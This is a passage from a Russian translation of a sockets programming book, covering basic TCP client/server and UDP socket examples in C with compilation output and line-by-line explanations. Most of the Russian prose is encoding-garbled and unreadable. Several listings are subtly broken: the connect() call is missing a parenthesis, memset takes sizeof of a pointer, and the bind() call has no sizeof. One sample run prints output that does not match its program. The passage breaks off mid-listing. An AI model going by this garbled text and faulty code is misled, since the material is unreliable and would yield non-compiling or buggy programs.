íåíèå è ñîçäàåòñÿ ñ ïîìîùüþ ôóíêöèè socket(). Ðîëü ñîêåòà çàòåì óòî÷íÿåòñÿ
ñ ïîìîùüþ ôóíêöèé connect() èëè accept(). Òàê èëè èíà÷å, êëèåíòñêàÿ îêî-
íå÷íàÿ òî÷êà ñîåäèíÿåòñÿ ñ ñåðâåðíîé, ïîñëå ÷åãî ìîæåò íà÷àòüñÿ îáìåí äàí-
íûìè. Â ñëó÷àå ïðîòîêîëîâ UDP è TCP ñîêåò ïðåäñòàâëÿåò ñîáîé êîìáèíàöèþ
àäðåñà è ïîðòà ëîêàëüíîãî êîìïüþòåðà ñ àäðåñîì è ïîðòîì óäàëåííîãî
êîìïüþòåðà.

Òèïè÷íàÿ ïîñëåäîâàòåëüíîñòü ñîçäàíèÿ êëèåíòñêîãî ñîêåòà íà÷èíàåòñÿ
ñ âûçîâà ôóíêöèè socket(), êîòîðàÿ çàïðàøèâàåò ðåñóðñû ó îïåðàöèîííîé ñèñ-
òåìû è ïîëó÷àåò îò íåå, â ÷àñòíîñòè, äåñêðèïòîð ñîêåòà è íîìåð ëîêàëüíîãî
ïîðòà. Çàòåì íàäëåæèò îïðåäåëèòü àäðåñ è íîìåð ïîðòà óäàëåííîãî õîñòà,
ñ êîòîðûì òðåáóåòñÿ óñòàíîâèòü ñîåäèíåíèå. Ñàìî ñîåäèíåíèå óñòàíàâëèâà-
åòñÿ ïóòåì âûçîâà ôóíêöèè connect(). Åñëè îïåðàöèÿ âûïîëíèëàñü óñïåøíî,
òî ìîæíî ïåðåäàâàòü äàííûå. Äëÿ ÷òåíèÿ èç ëîêàëüíîãî ïîðòà ñëóæàò ôóíê-
öèè read() è recv(), à äëÿ çàïèñè â óäàëåííûé ïîðò – ôóíêöèè write() è send().

Клиенты и серверы
для протокола TCP
TCP – íàèáîëåå ÷àñòî èñïîëüçóåìûé ïðîòîêîë èç íàáîðà TCP/IP. Â ýòîì ðàç-
äåëå ìû ðàññìîòðèì äâà ïðèìåðà, èëëþñòðèðóþùèõ ïðîöåññ íàïèñàíèÿ TCP-
êëèåíòà è TCP-ñåðâåðà.

Â ïðèìåðå 3.1 ïîêàçàíî, êàê êëèåíò ìîæåò èíèöèàëèçèðîâàòü, óñòàíîâèòü
è ðàçîðâàòü TCP-ñîåäèíåíèå.

Пример 3.1.Пример 3.1.Пример 3.1.Пример 3.1.Пример 3.1. TCP*клиент (client1.c)
 1 /*

 2  * client1.c

 3  *

 4  * Óñòàíîâëåíèå è ðàçðûâ TCP-ñîåäèíåíèÿ

 5  * ñ ïîìîùüþ ôóíêöèé socket(),

 6  * connect() and close().

 7  *

 8  *

 9  *

10  */

11

Клиенты и серверы для протокола TCP
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12 #include <stdio.h>

13 #include <sys/types.h>

14 #include <sys/socket.h>

15 #include <netinet/in.h>

16
17 int

18 main    (int argc, char *argv[])

19 {

20   struct sockaddr_in sin;

21   int sock = 0;

22   int ret  = 0;

23
24   if(argc != 3)

25   {

26     printf("usage: %s: ip_address port\n", argv[0]);

27     return(1);

28   }

29
30   sock = socket(AF_INET, SOCK_STREAM, 0);

31   if(sock < 0)

32   {

33     printf("TCP-êëèåíò: îøèáêà socket().\n");

34     return(1);

35   }

36
37   memset(&sin, 0x0, sizeof(struct sockaddr_in *));

38
39   sin.sin_family = AF_INET;

40   sin.sin_port = htons(atoi(argv[2]));

41   sin.sin_addr.s_addr = inet_addr(argv[1]);

42
43   ret = connect(sock, struct sockaddr *)&sin,

44                 sizeof(struct sockaddr);

45   if(ret < 0)

46   {

47     printf("TCP-êëèåíò: îøèáêà connect().\n");

48     close (sock);

49     return(1);

50   }

51
52   printf("TCP-êëèåíò óñòàíîâèë ñîåäèíåíèå.\n");

53   close(sock);

54
55   printf("TCP-êëèåíò çàêðûë ñîåäèíåíèå.\n");

56
57   return(0);

58 }
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Компиляция
(foster@syngress ~/book) $ gcc -o client1 client1.c

(foster@syngress ~/book) $ ./client1
usage: ./client1: ip_address port

Пример выполнения
(foster@syngress ~/book) $ ./client1 127.0.0.1 80
TCP-êëèåíò óñòàíîâèë ñîåäèíåíèå.
TCP-êëèåíò çàêðûë ñîåäèíåíèå.

(foster@syngress ~/book) $ ./client1 127.0.0.1 81
TCP-êëèåíò: îøèáêà connect().

Ïðîãðàììà cl ient1.c îæèäàåò äâà àðãóìåíòà â êîìàíäíîé ñòðîêå: IP-àäðåñ è íî-
ìåð ïîðòà, ñ êîòîðûì äîëæåí ñîåäèíèòüñÿ êëèåíò. Îíà ïîëó÷àåò îò ñèñòåìû äåñ-
êðèïòîð ñîêåòà è óñòàíàâëèâàåò ñîåäèíåíèå ñ óêàçàííûì àäðåñîì è ïîðòîì.
Äàííûå íå ïåðåäàþòñÿ. Ñîêåò ñðàçó çàêðûâàåòñÿ. Åñëè ñîåäèíåíèå óñòàíîâèòü
íå óäàåòñÿ, ïå÷àòàåòñÿ ñîîáùåíèå îá îøèáêå è ïðîãðàììà çàâåðøàåòñÿ.

Анализ

� Â ñòðîêå 30 ïðîãðàììà ïîëó÷àåò äåñêðèïòîð ñîêåòà, âûçâàâ ôóíêöèþ
socket(). Â êà÷åñòâå àðãóìåíòà domain åé ïåðåäàåòñÿ êîíñòàíòà AF_INET,
êîòîðàÿ ãîâîðèò, ÷òî ýòîò ñîêåò áóäåò ðàáîòàòü ïî ïðîòîêîëó IP. Àðãó-
ìåíò type ðàâåí SOCK_STREAM, òî åñòü ïðîòîêîëîì òðàíñïîðòíîãî
óðîâíÿ áóäåò TCP. Â êà÷åñòâå èäåíòèôèêàòîðà ïðîòîêîëà ïåðåäàåòñÿ 0,
ïîñêîëüêó ýòîò àðãóìåíò îáû÷íî íå èñïîëüçóåòñÿ äëÿ ñîêåòîâ, ðàáîòà-
þùèõ ïî ïðîòîêîëó TCP.

� Â ñòðîêå 37 èíèöèàëèçèðóåòñÿ ñòðóêòóðà sockaddr_in, êîòîðàÿ ñëóæèò
äëÿ èäåíòèôèêàöèè óäàëåííîé îêîíå÷íîé òî÷êè äàííîãî ñîêåòà.

� Â ñòðîêå 39 çàäàåòñÿ ñåìåéñòâî ïðîòîêîëîâ (domain) äëÿ óäàëåííîé
îêîíå÷íîé òî÷êè AF_INET, è ýòî çíà÷åíèå ñîîòâåòñòâóåò àðãóìåíòó
ôóíêöèè socket(), çàäàííîìó â ñòðîêå 28.

� Â ñòðîêå 40 çàäàåòñÿ íîìåð óäàëåííîãî ïîðòà. Ýòîò ïîðò áûë óêàçàí
â êîìàíäíîé ñòðîêå è ïåðåäàí ïðîãðàììå â âèäå óêàçàòåëÿ íà ìàññèâ
ñèìâîëîâ (char *). Ìàññèâ ïðåîáðàçóåòñÿ â 4-áàéòîâîå öåëîå ÷èñëî
(òèïà int) ôóíêöèåé atoi(). Çàòåì ýòî ÷èñëî ïðåîáðàçóåòñÿ â äâóõáàéòî-
âîå öåëîå, çàïèñàííîå â ñåòåâîì ïîðÿäêå áàéòîâ. Ðåçóëüòàò ïîìåùàåòñÿ
â ïîëå sin_port ñòðóêòóðû sockaddr_in.

� Â ñòðîêå 41 âñòðå÷àåòñÿ IP-àäðåñ óäàëåííîãî êîìïüþòåðà, çàäàííûé
â êîìàíäíîé ñòðîêå è ïåðåäàííûé â ïðîãðàììó â âèäå óêàçàòåëÿ íà ìàñ-

Клиенты и серверы для протокола TCP



152 Глава 3. BSD�сокеты

ñèâ ñèìâîëîâ (char *). Ìàññèâ ïðåîáðàçóåòñÿ â áåççíàêîâîå 32-áèòîâîå
çíà÷åíèå ñ ïîìîøüþ ôóíêöèè inet_addr(). Îíî çàïèñûâàåòñÿ â ïîëå
sin_addr.s_addr ñòðóêòóðû sockaddr_in.

� Â ñòðîêàõ 43 è 44 ñîêåò ñîåäèíÿåòñÿ ñ óäàëåííûì õîñòîì è ïîðòîì.
Â ýòîò ìîìåíò ïðîèñõîäèò ïðîöåäóðà òðåõøàãîâîãî êâèòèðîâàíèÿ.

� Â ñòðîêå 53 ñîåäèíåííûé ñîêåò çàêðûâàåòñÿ è ïðîèñõîäèò ðàçðûâ ñî-
åäèíåíèÿ.

Â ïðèìåðå 3.2 ïîêàçàíî, êàê ñîçäàåòñÿ ñåðâåðíûé TCP-ñîêåò. Â ðåçóëüòàòå
îáðàçóåòñÿ îêîíå÷íàÿ òî÷êà, ñ êîòîðîé ìîãóò ñîåäèíèòüñÿ êëèåíòû òèïà
cl ient1.c.

Пример 3.2.Пример 3.2.Пример 3.2.Пример 3.2.Пример 3.2. TCP*сервер (server.c)
 1 /*

 2  * server1.c

 3  *

 4  * Ñîçäàíèå ñåðâåðíîãî TCP-ñîêåòà, ïðèåì

 5  * çàïðîñà íà ñîåäèíåíèå îò îäíîãî TCP-êëèåíòà

 6  * ñ ïîìîùüþ ôóíêöèé socket(),  bind(),  listen() è

 7  * accept().

 8  *

 9  * foster <jamescfoster@gmail.com>

10  */

11
12 #include <stdio.h>

13 #include <sys/types.h>

14 #include <sys/socket.h>

15 #include <netinet/in.h>

16
17 int

18 main    (int argc, char *argv[])

19 {

20   struct sockaddr_in sin ;

21   struct sockaddr_in csin;

22   socklen_t          len   = sizeof(struct sockaddr);

23   short              port  = 0;

24   int                csock = 0;

25   int                sock  = 0;

26   int                ret   = 0;

27
28   if(argc != 2)

29   {

30      printf("usage: %s: port\n", argv[0]);

31      return(1);

32   }

33
34   port = atoi(argv[1]);
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35
36   sock = socket(AF_INET, SOCK_STREAM, 0);

37   if(sock < 0)

38   {

39      printf("TCP-ñåðâåð: îøèáêà socket().\n");

40      return(1);

41   }

42
43   memset(&sin, 0x0, sizeof(struct sockaddr_in *));

44
45   sin.sin_family      = AF_INET;

46   sin.sin_port        = htons(port);

47   sin.sin_addr.s_addr = INADDR_ANY;

48
49   ret = bind(sock, (struct sockaddr *)&sin,

50 (struct sockaddr));

51   if(ret < 0)

52   {

53      printf("TCP-ñåðâåð: îøèáêà bind().\n");

54      close (sock);

55      return(1);

56   }

57
58   ret = listen(sock, 5);

59   if(ret < 0)

60   {

61      printf("TCP-ñåðâåð: îøèáêà listen().\n");

62      close (sock);

63      return(1);

64   }

65
66   printf("TCP-ñåðâåð ïðîñëóøèâàåò ïîðò.\n");

67
68   memset(&csin, 0x0, sizeof(struct sockaddr));

69
70   csock = accept(sock, (struct sockaddr *)&csin, &len);

71   if(csock < 0)

72   {

73      printf("TCP-ñåðâåð: îøèáêà accept().\n");

74   }

75   else

76   {

77      printf("TCP-ñåðâåð: ñîåäèíåíèå ñ êëèåíòîì " \

78             "íà ïîðòó %d.\n", port);

79      close(csock);

80   }

81
82   close(sock);

83

Клиенты и серверы для протокола TCP
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84   return(0);

85 }

Компиляция
(foster@syngress ~/book) $ gcc -o server1 server1.c

(foster@syngress ~/book) $ ./server1
usage: ./server1: port

Пример выполнения
(foster@syngress ~/book) $ ./server1 4001
TCP-êëèåíò óñòàíîâèë ñîåäèíåíèå.
TCP-êëèåíò çàêðûë ñîåäèíåíèå.

(foster@syngress ~/book) $ ./client1 127.0.0.1 81
TCP-ñåðâåð ïðîñëóøèâàåò ïîðò.

Ïðîãðàììà server1.c îæèäàåò âñåãî îäèí àðãóìåíò â êîìàíäíîé ñòðîêå: íî-
ìåð ïîðòà, êîòîðûé ñåðâåð áóäåò ïðîñëóøèâàòü â îæèäàíèè çàïðîñà íà ñîåäè-
íåíèå îò êëèåíòà. Îíà ïîëó÷àåò îò ñèñòåìû äåñêðèïòîð ñîêåòà ñ ïîìîùüþ
ôóíêöèè socket(), çàòåì ïðèâÿçûâàåò ñîêåò ê óêàçàííîìó ïîðòó (bind()), ïåðå-
âîäèò ñîêåò â ðåæèì ïðîñëóøèâàíèÿ (l isten()) è âûçûâàåò ôóíêöèþ accept(),
êîòîðàÿ è îæèäàåò çàïðîñà. Êàê òîëüêî çàïðîñ íà ñîåäèíåíèå ïîëó÷åí, ñîêåò
ñðàçó çàêðûâàåòñÿ, ñîåäèíåíèå ðàçðûâàåòñÿ, ïðîãðàììà çàâåðøàåò ðàáîòó.

Анализ

� Â ñòðîêå 36 ïðîãðàììà ïîëó÷àåò äåñêðèïòîð ñîêåòà, âûçâàâ ôóíêöèþ
socket(). Â êà÷åñòâå àðãóìåíòà domain åé ïåðåäàåòñÿ êîíñòàíòà AF_INET,
êîòîðàÿ ãîâîðèò, ÷òî ýòîò ñîêåò áóäåò ðàáîòàòü ïî ïðîòîêîëó IP. Àðãó-
ìåíò type ðàâåí SOCK_STREAM, òî åñòü ïðîòîêîëîì òðàíñïîðòíîãî
óðîâíÿ áóäåò TCP. Â êà÷åñòâå èäåíòèôèêàòîðà ïðîòîêîëà ïåðåäàåòñÿ 0,
ïîñêîëüêó ýòîò àðãóìåíò îáû÷íî íå èñïîëüçóåòñÿ äëÿ ñîêåòîâ, ðàáîòà-
þùèõ ïî ïðîòîêîëó TCP.

� Â ñòðîêå 43 èíèöèàëèçèðóåòñÿ ñòðóêòóðà sockaddr_in, êîòîðàÿ ñëóæèò
äëÿ èäåíòèôèêàöèè ëîêàëüíîé îêîíå÷íîé òî÷êè äàííîãî ñîêåòà.

� Â ñòðîêå 45 çàäàåòñÿ ñåìåéñòâî ïðîòîêîëîâ (domain) äëÿ óäàëåííîé
îêîíå÷íîé òî÷êè AF_INET, è ýòî çíà÷åíèå ñîîòâåòñòâóåò àðãóìåíòó
ôóíêöèè socket(), çàäàííîìó â ñòðîêå 36.

� Â ñòðîêå 46 çàäàåòñÿ íîìåð ëîêàëüíîãî ïîðòà. Ýòîò ïîðò áûë óêàçàí
â êîìàíäíîé ñòðîêå è ïåðåäàí ïðîãðàììå â âèäå óêàçàòåëÿ íà ìàññèâ
ñèìâîëîâ (char *). Ìàññèâ ïðåîáðàçóåòñÿ â 4-áàéòîâîå öåëîå ÷èñëî
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(òèïà int) ôóíêöèåé atoi(). Çàòåì ýòî ÷èñëî ïðåîáðàçóåòñÿ â äâóõáàéòî-
âîå öåëîå, çàïèñàííîå â ñåòåâîì ïîðÿäêå áàéòîâ. Ðåçóëüòàò ïîìåùàåòñÿ
â ïîëå sin_port ñòðóêòóðû sockaddr_in.

� Â ñòðîêå 47 çàäàåòñÿ ëîêàëüíûé IP-àäðåñ, ê êîòîðîìó áóäåò ïðèâÿçàí ñî-
êåò. Â êà÷åñòâå àäðåñà óêàçàíà öåëî÷èñëåííàÿ êîíñòàíòà INADDR_ANY.
Ýòî îçíà÷àåò, ÷òî ñîêåò ìîæåò ïðèíèìàòü ñîåäèíåíèÿ ñ ëþáîãî ñå-
òåâîãî èíòåðôåéñà, â òîì ÷èñëå è âîçâðàòíîãî (loopback). Åñëè õîñò
èìååò íåñêîëüêî ñåòåâûõ èíòåðôåéñîâ, òî ìîæíî ïðèâÿçàòü ñîêåò
ê êîíêðåòíîìó èíòåðôåéñó, óêàçàâ íàçíà÷åííûé åìó IP-àäðåñ âìåñòî
INADDR_ANY.

� Â ñòðîêå 49 âûçûâàåòñÿ ôóíêöèÿ bind(), êîòîðàÿ ñâÿçûâàåò èíôîðìà-
öèþ î ëîêàëüíîé êîíå÷íîé òî÷êå, âêëþ÷àÿ åå IP-àäðåñ è ïîðò, ñ äåñê-
ðèïòîðîì ñîêåòà.

� Â ñòðîêå  58 âûçûâàåòñÿ ôóíêöèÿ l isten(), êîòîðîé â êà÷åñòâå  âòîðîãî
àðãóìåíòà ïåðåäàåòñÿ ìàêñèìàëüíîå ÷èñëî îæèäàþùèõ ñîåäèíåíèé
â î÷åðåäè. Åñëè îäíîâðåìåííî ïîñòóïèò áîëüøåå ÷èñëî çàïðîñîâ, òî
â ñîåäèíåíèè áóäåò îòêàçàíî. Êðîìå òîãî, ôóíêöèÿ ïåðåâîäèò ñîêåò
â ñîñòîÿíèå ãîòîâíîñòè ê ïðèåìó ñîåäèíåíèé. Íà÷èíàÿ ñ ýòîãî ìîìåí-
òà ìîãóò îáðàáàòûâàòüñÿ çàïðîñû íà óñòàíîâëåíèå ñîåäèíåíèÿ, ïîñòóïà-
þùèå îò êëèåíòîâ.

� Â ñòðîêå 70 âûçûâàåòñÿ ôóíêöèÿ accept(), ïðèíèìàþùàÿ çàïðîñû íà ñî-
åäèíåíèå. Îíà áëîêèðóåò (ïåðåâîäèò â ñîñòîÿíèå îæèäàíèÿ) ïðîöåññ
äî ïîñòóïëåíèÿ íîâîãî çàïðîñà îò êëèåíòà. Êàê òîëüêî ýòî ïðîèçîé-
äåò, ôóíêöèÿ accept() âåðíåò äåñêðèïòîð ñîêåòà, ñîîòâåòñòâóþùåãî íî-
âîìó ñîåäèíåíèþ.

� Â ñòðîêå 82 ñîêåò çàêðûâàåòñÿ, òàê ÷òî íîâûå ñîåäèíåíèÿ íå ìîãóò
áûòü óñòàíîâëåíû.

Â ïðèìåðå  3.3 ñíà÷àëà çàïóñêàåòñÿ ïðîãðàììà server1, à âñëåä çà íåé cl ient1.
Ìû âèäèì, ÷òî server1 ïîëó÷èëà äåñêðèïòîð ñîêåòà, ïðèâÿçàëà åãî ê ïîðòó,
óêàçàííîìó â êîìàíäíîé ñòðîêå, è íà÷àëà ïðîñëóøèâàòü ïîðò â îæèäàíèè
âõîäÿùèõ ñîåäèíåíèé. Ïîñëå  çàïóñêà cl ient1 óñòàíàâëèâàåòñÿ TCP-ñîåäèíå-
íèå. Çàòåì îáå ïðîãðàììû çàêðûâàþò ñâîè êîíöû ñîåäèíåíèÿ è çàâåðøàþò
ðàáîòó.

Пример 3.3. Пример 3.3. Пример 3.3. Пример 3.3. Пример 3.3. Клиент и сервер в действии
1 (foster@syngress ~/book) $ ./server1 4001 &
2 ./server1 4001 & (11) 31802
3
4 (foster@syngress ~/book) $ ./client1 127.0.0.1 4001
5 ./client1 127.0.0.1 4001
6
7 TCP-ñåðâåð: ñîåäèíåíèå ñ êëèåíòîì íà ïîðòó 4001.

Клиенты и серверы для протокола TCP
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 8
 9 TCP-êëèåíò óñòàíîâèë ñîåäèíåíèå.
10
11 [1] Done ./server1 4001

Анализ

Ïðè çàïóñêå ïðîãðàììû server1 óêàçàíî, ÷òî îíà äîëæíà ïðîñëóøèâàòü TCP-ïîðò
4001. Â áîëüøèíñòâå îïåðàöèîííûõ ñèñòåì ïîðòû ñ íîìåðàìè îò 1 äî 1024 çàðå-
çåðâèðîâàíû äëÿ ïðèâèëåãèðîâàííûõ ïðîãðàìì, ïîýòîìó â ïðèìåðå âçÿò ïîðò
ñ íîìåðîì áîëüøå 1024. Ñèìâîë & â êîíöå êîìàíäíîé ñòðîêè ãîâîðèò, ÷òî ïðî-
ãðàììà server1 äîëæíà èñïîëíÿòüñÿ â ôîíîâîì ðåæèìå, òàê ÷òî ñðàçó ïîñëå åå
çàïóñêà ìîæíî  ââîäèòü ñëåäóþùóþ êîìàíäó – çàïóñêàþùóþ client1.

� Â ñòðîêå 1 îáîëî÷êà tcsh ïå÷àòàåò ââåäåííóþ êîìàíäó.
� Â ñòðîêå 2 tcsh ïå÷àòàåò èäåíòèôèêàòîð ôîíîâîãî ïðîöåññà, â êîòîðîì

èñïîëíÿåòñÿ ïðîãðàììà server1.
� Â ñòðîêå  4 çàïóñêàåòñÿ ïðîãðàììà cl ient1, êîòîðîé ïåðåäàþòñÿ IP-àäðåñ

127.0.0.1 è ïîðò 4001. Àäðåñ 127.0.0.1 ïðèíàäëåæèò âîçâðàòíîìó èíòåð-
ôåéñó. Ýòî ëîãè÷åñêèé èíòåðôåéñ, ïðåäíàçíà÷åííûé äëÿ èñïîëíåíèÿ
ñåòåâûõ ïðîãðàìì íà ëîêàëüíîé ìàøèíå. Â áîëüøèíñòâå ñèñòåì àäðåñó
127.0.0.1 ñîîòâåòñòâóåò äîìåííîå èìÿ localhost.

� Â ñòðîêå 5 tcsh ïå÷àòàåò ââåäåííóþ êîìàíäó.
� Â ñòðîêå 7 server1 âûâîäèò ñîîáùåíèå î ïîñòóïëåíèè çàïðîñà íà ñîåäè-

íåíèå  îò êëèåíòà, òî÷íåå, îò ïðîãðàììû cl ient1.
� Â ñòðîêå  9 cl ient1 ïå÷àòàåò ñîîáùåíèå  î  òîì, ÷òî  îíà óñòàíîâèëà ñîåäè-

íåíèå ñ server1.

Òåïåðü, êîãäà ó âàñ ñëîæèëîñü íåêîòîðîå ïðåäñòàâëåíèå î ïðîãðàììèðîâà-
íèè êëèåíòñêèõ è ñåðâåðíûõ TCP-ñîêåòîâ, ïåðåéäåì ê ïðîãðàììèðîâàíèþ
UDP-ñîêåòîâ.

Клиенты и серверы
для протокола UDP
Ïðè ïðîãðàììèðîâàíèè UDP-ñîêåòîâ èñïîëüçóþòñÿ, â îñíîâíîì, òå æå ïðè-
åìû, ÷òî è äëÿ TCP-ñîêåòîâ. Íî UDP – ýòî ïðîòîêîë áåç óñòàíîâëåíèÿ ñîåäè-
íåíèé, ïîýòîìó äëÿ íåãî íóæíî ìåíüøå ïðåäâàðèòåëüíûõ øàãîâ è îí ïðåäî-
ñòàâëÿåò ÷óòü áîëüøå ãèáêîñòè ïðè îòïðàâêå è ïðèåìå UDP-äàòàãðàìì. UDP
íå ÿâëÿåòñÿ ïîòîêîâûì ïðîòîêîëîì, äàííûå ïåðåäàþòñÿ íå ïîáàéòíî, à öå-
ëûìè áëîêàìè – äàòàãðàììàìè.
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Â çàãîëîâêå ïðîòîêîëà UDP âñåãî ÷åòûðå ïîëÿ: ïîðò ïîëó÷àòåëÿ, ïîðò îò-
ïðàâèòåëÿ, äëèíà è êîíòðîëüíàÿ ñóììà. Ïîðòû ïîëó÷àòåëÿ è îòïðàâèòåëÿ îä-
íîçíà÷íî èäåíòèôèöèðóþò ïðîöåññ, êîòîðûé îòïðàâèë äàííûå, è ïðîöåññ,
êîòîðîìó îíè ïðåäíàçíà÷åíû. Ïîëå äëèíà óêàçûâàåò, ñêîëüêî áàéòîâ â äàòàã-
ðàììå. Ïîëå êîíòðîëüíàÿ ñóììà íåîáÿçàòåëüíî, îíî ìîæåò áûòü íóëåì ëèáî
ñîäåðæàòü ïðàâèëüíóþ êîíòðîëüíóþ ñóììó.

Êàê è â ñëó÷àå TCP, UDP-ñîêåòû ñîçäàþòñÿ ôóíêöèåé socket(). Íî UDP îò-
ëè÷àåò ñïîñîáíîñòü îòïðàâëÿòü è ïðèíèìàòü äàòàãðàììû îò ðàçëè÷íûõ õîñ-
òîâ ïî îäíîìó-åäèíñòâåííîìó ñîêåòó.

Òèïè÷íàÿ ïîñëåäîâàòåëüíîñòü ñîçäàíèÿ êëèåíòñêîãî UDP-ñîêåòà íà÷èíà-
åòñÿ ñ âûçîâà ôóíêöèè socket(). Çàòåì íàäëåæèò îïðåäåëèòü àäðåñ è íîìåð ïîð-
òà óäàëåííîãî õîñòà, êîòîðîìó ñîêåò áóäåò îòïðàâëÿòü è îò êîòîðîãî áóäåò
ïðèíèìàòü äàííûå. Äåñêðèïòîð ñîêåòà ïåðåäàåòñÿ ôóíêöèè connect(), êîòîðàÿ
çàïîìèíàåò, êàêîé ñîêåò â äàëüíåéøåì áóäåò èñïîëüçîâàòüñÿ äëÿ ïåðåäà÷è è
ïðèåìà. Âìåñòî ýòîãî àäðåñ è íîìåð ïîðòà ïîëó÷àòåëÿ ìîæíî óêàçûâàòü ïðè
êàæäîé îïåðàöèè «çàïèñè», òîãäà îäèí ñîêåò ìîæíî áóäåò èñïîëüçîâàòü äëÿ
îáìåíà äàííûìè ñ ðàçíûìè õîñòàìè.

Ïî ïðîòîêîëó UDP äàííûå ìîæíî ïîñûëàòü ñ ïîìîùüþ ôóíêöèé write(),
send() è sendto(). ×òîáû ìîæíî áûëî ïîëüçîâàòüñÿ ôóíêöèÿìè write() èëè
send(), ñîêåò íóæíî ïðåäâàðèòåëüíî «ñîåäèíèòü», âûçâàâ ôóíêöèþ connect().
Åñëè ýòî íå ñäåëàíî, òî îñòàåòñÿ ôóíêöèÿ sendto(), êîòîðîé íóæíî ïåðåäàòü
IP-àäðåñ è ïîðò ïîëó÷àòåëÿ. ×èòàòü äàííûå ïî ïðîòîêîëó UDP ïîçâîëÿþò
ôóíêöèè read(), recv() è recvfrom(). Äëÿ èñïîëüçîâàíèÿ ôóíêöèé read() è recv()
ñîêåò íàäî ïðåäâàðèòåëüíî «ñîåäèíèòü». Ôóíêöèÿ æå recvfrom() ïîëó÷àåò IP-
àäðåñ è íîìåð ïîðòà èç ïðèíÿòîé äàòàãðàììû.

Äàííûå, çàïèñàííûå â UDP-ñîêåò, áóäóò ïðèíÿòû â âèäå åäèíîãî áëîêà,
à íå â âèäå ïîòîêà áàéòîâ, êàê â ñëó÷àå TCP. Êàæäûé âûçîâ write(), send() èëè
sendto() ïîðîæäàåò îäíó äàòàãðàììó. Ïðèíÿòûå äàòàãðàììû ñ÷èòûâàþòñÿ
êàê íåäåëèìîå öåëîå. Åñëè ïðè ïîïûòêå ñ÷èòûâàíèÿ äàòàãðàììû ïðåäîñòàâ-
ëåí áóôåð íåäîñòàòî÷íîãî ðàçìåðà, òî ôóíêöèÿ ÷òåíèÿ âåðíåò êîä îøèáêè.

Åñëè ðàçìåð UDP-äàòàãðàììû ïðåâîñõîäèò ìàêñèìàëüíóþ äëèíó ñåãìåíòà
â ëîêàëüíîé ñåòè èëè ëþáîé ñåòè, ÷åðåç êîòîðóþ äàòàãðàììà ìàðøðóòèçèðó-
åòñÿ, òî îíà äîëæíà áûòü ôðàãìåíòèðîâàíà. Èç ñîîáðàæåíèé ïðîèçâîäèòåëü-
íîñòè ýòî íåæåëàòåëüíî, ïîýòîìó íåêîòîðûå îïåðàöèîííûå ñèñòåìû îãðà-
íè÷èâàþò èëè âîâñå íå ïîääåðæèâàþò òàêîé ðåæèì. Â ïðèìåðå 3.4 ïîêàçàíî,
êàê ñîçäàâàòü UDP-ñîêåò.

Пример 3.4.Пример 3.4.Пример 3.4.Пример 3.4.Пример 3.4. UDP*сокет (udp1.c)
1 /*

2  * udp1.c

3  *

Клиенты и серверы для протокола UDP
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 4  * ïðèìåð ïðîãðàììû äëÿ ñîçäàíèÿ UDP-ñîêåòà

 5  *

 6  * foster <jamescfoster@gmail.com>

 7  */

 8
 9 #include <stdio.h>

10
11 #include <sys/socket.h>

12 #include <netinet/in.h>

13
14 int

15 main(void)

16 {

17   int sock = 0;

18
19   sock = socket(AF_INET, SOCK_DGRAM, 0);

20   if(sock < 0)

21   {

22      printf("îøèáêà socket().\n");

23   }

24   else

25   {

26      close(sock);

27      printf("socket() çàâåðøèëàñü óñïåøíî.\n");

28   }

29
30   return(0);

31 }

Компиляция
obsd32# gcc -o udp1 udp1.c

Пример исполнения
obsd32# ./udp1
socket() çàâåðøèëàñü óñïåøíî.

Анализ

� Â ñòðîêàõ 11 è 12 âêëþ÷àþòñÿ çàãîëîâî÷íûå ôàéëû <sys/socket.h> è
<netinet/in.h>. Â íèõ ñîäåðæàòñÿ ïðîòîòèïû ôóíêöèé è ñòðóêòóðû äàí-
íûõ, íåîáõîäèìûå äëÿ ðàáîòû ñ ñîêåòàìè.

� Â ñòðîêå 19 âûçûâàåòñÿ ôóíêöèÿ socket(). Ïåðâûé ïàðàìåòð – öåëî÷èñ-
ëåííàÿ êîíñòàíòà AF_INET (îïðåäåëåíà â <sys/socket.h>). Îíà óêàçûâàåò,
÷òî ñîêåò ïðèíàäëåæèò àäðåñíîìó ñåìåéñòâó AF_INET, êîòîðîå ñîîò-
âåòñòâóåò àäðåñàöèè, ïðèíÿòîé â ïðîòîêîëå IPv4.
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� Âòîðîé ïàðàìåòð, ïåðåäàííûé ôóíêöèè socket(), – ýòî öåëî÷èñëåííàÿ
êîíñòàíòà SOCK_DGRAM (îïðåäåëåíà â <sys/socket.h>). Îíà óêàçûâàåò
òèï ñîçäàâàåìîãî ñîêåòà. Â ñî÷åòàíèè ñ àäðåñíûì ñåìåéñòâîì AF_INET
òèï SOCK_DGRAM ãîâîðèò î òîì, ÷òî íóæíî ñîçäàòü UDP-ñîêåò.

� Òðåòèé ïàðàìåòð socket() ìîæåò ñîäåðæàòü íîìåð ïðîòîêîëà, íî ïðè ñî-
çäàíèè UDP-ñîêåòà îí íå èñïîëüçóåòñÿ è ïîýòîìó îñòàâëåí ðàâíûì
íóëþ.

� Â ñëó÷àå óñïåõà ôóíêöèÿ socket() âîçâðàùàåò íåîòðèöàòåëüíîå öåëîå
÷èñëî. Îíî îäíîçíà÷íî èäåíòèôèöèðóåò ñîêåò â òåêóùåì ïðîöåññå è
íàçûâàåòñÿ äåñêðèïòîðîì ñîêåòà. Â ñëó÷àå îøèáêè âîçâðàùàåòñÿ –1.

� Â ñòðîêå 19 ïðîâåðÿåòñÿ çíà÷åíèå, êîòîðîå âåðíóëà socket(). Åñëè îíî
ìåíüøå íóëÿ, òî íà ñòàíäàðòíûé âûâîä ïå÷àòàåòñÿ ñîîáùåíèå îá
îøèáêå.

� Â ñòðîêå 26 ïðàâèëüíûé äåñêðèïòîð ñîêåòà ïåðåäàåòñÿ ôóíêöèè close(),
êîòîðàÿ çàêðûâàåò ñîêåò, äåëàÿ åãî íåïðèãîäíûì äëÿ äàëüíåéøåãî èñ-
ïîëüçîâàíèÿ.

Â ïðèìåðå 3.5 èëëþñòðèðóåòñÿ îòïðàâêà UDP-äàòàãðàììû ÷åðåç ñîêåò, êî-
òîðûé ïðåäâàðèòåëüíî áûë «ñîåäèíåí» ñ ïîìîùüþ ôóíêöèè connect().

Пример 3.5. Пример 3.5. Пример 3.5. Пример 3.5. Пример 3.5. Отправка UDP*датаграммы функцией send() (udp2.c)
 1 /*

 2  * udp2.c

 3  *

 4  * îòïðàâêà UDP-äàòàãðàììû ñ ïîìîùüþ

 5  * ñîêåòà, êîòîðûé áûë ïðåäâàðèòåëüíî

 6  * îáðàáîòàí ôóíêöèåé connect().

 7  *

 8  * foster <jamescfoster@gmail.com>

